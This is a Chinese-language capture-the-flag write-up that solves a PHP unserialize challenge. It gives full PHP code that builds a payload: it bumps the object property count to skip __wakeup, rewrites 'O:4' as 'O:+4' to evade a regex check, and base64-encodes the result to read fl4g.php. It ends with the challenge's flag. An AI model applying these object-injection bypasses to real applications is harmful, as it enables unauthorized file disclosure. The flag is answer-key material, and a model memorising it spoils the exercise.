访问网页以后首先显示这段源码,分析一下代码结构,包含一个类。里面包含了 三个魔术方法:__construct\__destruct\__wakeup 后面的判断中包含了isset魔术方法 ,base64_decode解密,正则表达式判断。 那么现在来思考如何绕过 1、@unserialize($var); @符号抑制了错误输出,所以无法通过这里进行信息获取 2、当调用这个脚本时会触发__wakeup魔术方法,需要对它进行绕过 那么我们通过改变让这个参数大于后面的index.php文件 $fcg=str_replace('1:{','2:{', $fcg); 3、然后考虑如何绕过正则化表达式,这里利用了+号对原来的内容做了替换 $fcg=str_replace('O:4','O:+4',$fcg); 4、这里有一个base64_decode()的解密我们需要将我们传递的内容进行加密 echo base64_encode($fcg); 最后我们整合一下 <?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $fcg=new Demo("fl4g.php"); //创建一个变量 $fcg=serialize($fcg); //将他序列化 $fcg=str_replace('O:4','O:+4',$fcg); //绕过正则表达式 $fcg=str_replace('1:{','2:{', $fcg); //绕过wakeup echo base64_encode($fcg); //进行加密然后输出 ?> 最后通过构造的语句输出结果 将构造好的payload传递进去 ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013} 最终获得了正确答案